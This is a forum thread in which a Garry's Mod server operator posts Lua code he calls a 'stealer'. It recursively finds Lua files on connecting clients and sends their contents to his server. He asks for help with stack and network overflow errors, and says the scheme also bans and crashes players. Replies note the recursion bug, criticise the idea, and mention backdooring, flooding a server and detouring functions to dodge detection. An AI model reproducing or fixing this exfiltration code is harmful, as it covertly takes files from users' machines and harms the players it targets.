I'm doing a lot of looping with a lot of data in my Lua stealer. I got it to work theoretically but now I have a stack overflow.
[LUA]
function CopyDir(dir,src) --copypasta from gmod wiki.
local files = file.Find(dir.."/*.lua", src)
for k,v in pairs(files) do
if v and v ~= "" then
SendFileToServer(dir,v,nil,src)
end
end
local files,directories = file.Find(dir.."/*", src)
for _, fdir in pairs(directories) do
if fdir ~= ".svn" then
CopyDir(dir.."/"..fdir, src)
end
end
end
function SendFileToServer(dir,filename, filedata, src)
local filedata = filedata or file.Read(dir.."/"..filename, src)
if not filedata then return end
net.Start("CheaterCode")
net.WriteString(HAX_NUMBER)
net.WriteString(dir)--directory first
net.WriteString(filename)--filename second
net.WriteString(string.Left(filedata, math.Round(string.len(filedata)/2)))--filedata third
net.SendToServer()
SendFileToServer(dir, filename, string.Right(filedata, math.Round(string.len(filedata)/2)), src)--Split it in half to make sure it goes.
end
[/LUA]
It's a mix of these which does the trick.
I need to know how to avoid a stack overflow. What are some techniques I could use to reset the stack before it overflows or to prevent the stack from getting too big?
My first idea is to have each file added to a queue and to allow it to work through that queue one at a time.
I don't know if that would do anything though.
The recursive call of the SendFileToServer function is the cause. Shove in an IF statement.
Also, Wow, you are going to be hated.
[QUOTE=James xX;40879623]The recursive call of the SendFileToServer function is the cause. Shove in an IF statement.
Also, Wow, you are going to be hated.[/QUOTE]
If hackers hate me then I've done my job. :dance:
I'm going to need some elaboration, please. What do you mean by shove an if statement? In what manner?
Thanks in advance.
[editline]June 2nd[/editline]
Wow okay I just noticed I'm looping the shit outta SendFileToServer. Thanks for the help ya'll.
[editline]June 2nd[/editline]
Ok now I still have this stuff spamming my console:
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
loopback:send reliable stream overflow
What causes this? Google has little to nothing.
If I find your server, I'll be sure to flood it until your HDD is full. :)
[QUOTE=Walrus Viking;40880193]If I find your server, I'll be sure to flood it until your HDD is full. :)[/QUOTE]
thats the stupidest thing i've ever heard
why wouldnt you just backdoor it lol
oh wait i forgot you're a not nice man
[media]http://www.youtube.com/watch?v=WhzekBt767w[/media]
<><>memory editing
<>>>the current year
[QUOTE=213;40880219]thats the stupidest thing i've ever heard
why wouldnt you just backdoor it lol[/QUOTE]
Not possible.
[QUOTE=Walrus Viking;40880193]If I find your server, I'll be sure to flood it until your HDD is full. :)[/QUOTE]
You'll need a big-ass Lua folder. It bans permanently, so you'll only have one shot.
I think I figured out the issue. Listen servers have limited data transferability. I'll switch it to a dedicated server and we'll see if that cuts the problem.
iirc it took your ban script 8 minutes to do the ban and you were sending files every tick. Sending large net messages would temporarily stop stuff such as chat messages from being sent to client and what not so.
[QUOTE=Chessnut;40880353]iirc it took your ban script 8 minutes to do the ban and you were sending files every tick. Sending large net messages would temporarily stop stuff such as chat messages from being sent to client and what not so.[/QUOTE]
Plus you can detour cam.End to make sure it wouldn't fuck the cam stack so you'd have much more time.
(or just detour timer.Simple and check for cam.End either way OP is dumb.)
[QUOTE=Wizard of Ass;40880424]Plus you can detour cam.End to make sure it wouldn't fuck the cam stack so you'd have much more time.
(or just detour timer.Simple and check for cam.End either way OP is dumb.)[/QUOTE]
The entire idea of "detect cheats so I can learn how to detect them" is stupid. You already detected it, what more are you going to learn? Besides, no one with any real skill at cheating is bypassing allowcslua to cheat on your server, and even if they do, a plain file.Read call isn't going to cut it to capture their cheat.
[QUOTE=Chessnut;40880353]iirc it took your ban script 8 minutes to do the ban and you were sending files every tick. Sending large net messages would temporarily stop stuff such as chat messages from being sent to client and what not so.[/QUOTE]
The ban is now instant, as well as the crash. Users can deal with a second of lag to get rid of the occasional hacker.
How about some help with the current issue rather than criticism of its implication?
I understand it might be controversial, but I'm not forcing anyone to use it and I'm not doing anything wrong.
I'm not about to stop making it because the wizard of ass decrees it dumb.
This whole "piss off cheaters" thing is going to end very badly, lots and lots of packets badly.
You should be working on detecting cheats rather than stealing them, so far you've successfully accomplished damaging your security and stealing a whole bunch of Hera, pretty much the only thing you'll pick up with this.
Also pissing off cheaters then leaving a wide door open for anyone to come in and fuck shit up isn't very wise, people do have alternate accounts you know.
[QUOTE=>>oubliette<<;40880610]This whole "piss off cheaters" thing is going to end very badly, lots and lots of packets badly.
You should be working on detecting cheats rather than stealing them, so far you've successfully accomplished damaging your security and stealing a whole bunch of Hera, pretty much the only thing you'll pick up with this.
Also pissing off cheaters then leaving a wide door open for anyone to come in and fuck shit up isn't very wise, people do have alternate accounts you know.[/QUOTE]
K.
Back on topic.
Anything to help with "send reliable stream overflow"?
Sorry, you need to Log In to post a reply to this thread.